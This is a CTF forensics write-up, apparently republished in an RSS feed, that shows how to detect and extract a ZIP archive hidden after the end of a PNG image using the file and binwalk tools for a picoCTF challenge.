&lt;p&gt;&lt;strong&gt;Steganography&lt;/strong&gt; is the practice of hiding data inside other files. Unlike cryptography, which encrypts data, steganography conceals it.&lt;/p&gt;

&lt;p&gt;A common CTF technique: &lt;strong&gt;hiding a ZIP file at the end of a PNG image&lt;/strong&gt;. The image viewer ignores everything that comes after the end of the image (&lt;code&gt;IEND&lt;/code&gt;), but a ZIP file read from the end of the file is perfectly valid.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1 — Identify the file
&lt;/h2&gt;

&lt;p&gt;We always start with the &lt;code&gt;file&lt;/code&gt; command to confirm the nature of the file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;file flag.png
&lt;span class="go"&gt;flag.png: PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It is indeed a PNG. But let's dig deeper with &lt;code&gt;binwalk&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2 — Scan with binwalk
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;binwalk&lt;/code&gt; is a tool that scans a file looking for known file signatures (ZIP, ELF, JPEG, etc.) hidden inside.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;binwalk flag.png
&lt;span class="go"&gt;
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 512 x 512, 8-bit/color RGBA, non-interlaced
39739         0x9B3B          Zip archive data, at least v1.0 to extract
39906         0x9BE2          Zip archive data, at least v2.0 to extract, name: secret/flag.png
40202         0x9D0A          End of Zip archive, footer signature
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Bingo. &lt;code&gt;binwalk&lt;/code&gt; detects a &lt;strong&gt;ZIP file embedded at offset 39739&lt;/strong&gt;, which itself contains a &lt;code&gt;secret/flag.png&lt;/code&gt; file.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3 — Extract the content
&lt;/h2&gt;

&lt;p&gt;We automatically extract all detected files with the &lt;code&gt;-e&lt;/code&gt; flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;binwalk &lt;span class="nt"&gt;-e&lt;/span&gt; flag.png
&lt;span class="go"&gt;
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image...
39739         0x9B3B          Zip archive data...

&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;span class="go"&gt;flag.png  _flag.png.extracted/

&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ls &lt;/span&gt;_flag.png.extracted/
&lt;span class="go"&gt;9B3B.zip  secret/

&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ls &lt;/span&gt;_flag.png.extracted/secret/
&lt;span class="go"&gt;flag.png
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 4 — Read the flag
&lt;/h2&gt;

&lt;p&gt;We open the extracted image &lt;code&gt;secret/flag.png&lt;/code&gt; in an image viewer — the flag is displayed there as text.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;eog _flag.png.extracted/secret/flag.png
&lt;span class="gp"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;or: xdg-open, feh, display...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;🚩 picoCTF{ flag intentionally hidden }&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The flag is deliberately hidden — follow the method, you've earned it. 💪&lt;/p&gt;

&lt;h2&gt;
  
  
  Key takeaways
&lt;/h2&gt;

&lt;p&gt;This challenge teaches two fundamental reflexes in CTF forensics:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Never trust a file's extension — use &lt;code&gt;file&lt;/code&gt; to verify&lt;/li&gt;
&lt;li&gt;Systematically scan suspicious files with &lt;code&gt;binwalk&lt;/code&gt; before any other analysis&lt;/li&gt;
&lt;li&gt;Images are one of the most common steganography vectors in CTFs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In a real security context, this technique is used in malware to exfiltrate data hidden inside seemingly innocent images.&lt;/p&gt;

&lt;h2&gt;
  
  
  Installing binwalk
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Debian / Ubuntu / Kali&lt;/span&gt;
&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;binwalk

&lt;span class="c"&gt;# macOS&lt;/span&gt;
&lt;span class="nv"&gt;$ &lt;/span&gt;brew &lt;span class="nb"&gt;install &lt;/span&gt;binwalk

&lt;span class="c"&gt;# pip&lt;/span&gt;
&lt;span class="nv"&gt;$ &lt;/span&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;binwalk
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://ctfdojo.com/writeups/picoctf-hideme-writeup.html" rel="noopener noreferrer"&gt;CTFdojo&lt;/a&gt; — join the &lt;a href="https://discord.gg/cvypGBQCBg" rel="noopener noreferrer"&gt;CTFdojo Discord&lt;/a&gt; to discuss writeups and get notified about new ones.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>security</category>
      <category>forensics</category>
    </item>
  </channel>
</rss>
